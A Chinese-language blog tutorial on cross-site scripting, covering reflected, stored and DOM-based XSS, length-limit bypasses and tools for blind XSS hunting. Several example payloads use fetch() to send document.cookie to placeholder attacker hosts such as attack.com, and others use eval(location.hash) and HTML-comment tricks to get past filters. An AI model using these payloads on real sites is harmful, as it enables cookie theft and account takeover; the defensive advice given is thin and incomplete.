WEB-漏洞总结(xss详解)

1.xss的分类

反射型,存储型,dom型

反射型(url)

http://www.xxx.com/music?name='bob'

攻击者拼接一个恶意的script请求

http://www.xxx.com/music?name='bob'<script>alert(1)</script>

甚至可以这样

http://www.xxx.com/music?name='bob'<script>fetch(`http://恶意者的网站.com/>cookie=${document.cookie}`)</script>

1.防御其实很简单,只要过滤一下请求就可以,例如把<> ? /替换就可以了replace(/"/g, '&quot;')

2.就是对用户传参进行加密encode,然后服务端解密就可以了。

存储型(表单)

与反射型不同,存储型 XSS 攻击是指当用户的输入包含了恶意脚本,服务端未经过转义就存储到数据库,访问页面会触发恶意脚本执行,而导致的攻击。

假如在某网站上有一篇爆款文章:https://xxx.com/articles/1

攻击者在文章下面发表了一篇评论,内容中包含了 script 脚本:

文章写的真棒!<script>fetch(`http://attack.com/cookies?cookie=${document.cookie}`)</script>

如果服务端直接把评论字符串保存到数据库了,下次只要有用户访问该文章时,包含恶意脚本的评论内容被返回,把当前用户的 cookie 发送到攻击者的服务器!

可以看到,用户的 Cookie 马上被发送到了攻击者的服务器。其实这种获取 Cookie 的方式还算小打小闹了,只要能够利用 xss 注入 script,黑客真的是可以「为所欲为」,例如黑客通过操作 DOM 的方式,分分钟把你的网站变成赌博网站、色情网站…

DOM型(onerror)

DOM 型 XSS 与反射型或存储型 XSS 的区别在于,DOM 型在服务器返回的网页或脚本中是看不到恶意代码的,而是在更新 DOM 树的时候触发了恶意脚本的执行。

我们来看一则模拟案例,前端开发人员未经过滤就直接把用户输入插入到 HTML 中:

<input id="input" type="text" />
<button onclick="container.innerHTML = input.value">点击</button>
<p id="container"></p>

攻击者利用方式

<img src="x" onerror="fetch(`http://attack.com/cookies?cookie=${document.cookie}`)" />

根据img的特性,如果这个src连接不存在,就会执行这个onerror语句,此时受害者完全不知道。

开启HttpOnly下的利用

在开启httponly后不会再向第三方网站发生cookie,那么我们可以直接在本站执行

xss bypass

在这里插入图片描述

在这里插入图片描述

绕过xss的长度限制

1.攻击者可以利用事件(Event)来缩短所需的字节数:

" onclick=alert(1) //

实际输出

<input type="text" value="" onclick=alert(1) //"/>

2.但利用"事件标签"能够缩短的字节数是有限的, 最好的办法是把XSS Payload 写到别处, 再通过简短的代码加载这段XSS Payload。

最常用的一个"藏身处"就是 “location.hash”

" οnclick="eval(location.hash.substr(1))

在这里插入图片描述

"location.hash"本身并没有长度限制, 但是浏览器的地址栏是有长度限制的, 不过这个长度已经足够写很长的XSS Payload了, 要是地址栏长度也不够用, 还可以再使用加载远程JS的方法来写更多的代码。

3.某些环境下, 可以利用注释符绕过长度限制。
比如我们能够控制两个文本框, 第二个文本框允许写入更多的字符。此时利用HTML的注释符号, 把两个文本框之间的HTML代码全部注释掉, 从而"打通" 两个input标签。

原html:

<input id=1 type="text" value="$var1" />
<input id=2 type="text" value="$var2" />

在第一个input框中输入:

"> <!--

在第二个input框中输入:

--> <script>alert(1)</script>

最终的效果是:

<input id=1 type="text" value=""> 

<!-- /><input id=2 type="text" value="--> 
<script>alert(1)</script>" />

第二行就相当于注释了。

总结

其实在平时的挖洞过程中,一般xss都是盲打,用些xss的字典进行盲打,配合burp更好。
还有一些检测xss的工具,还有就是beef-强大的xss利用工具,xray自动挖洞也不错哦。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值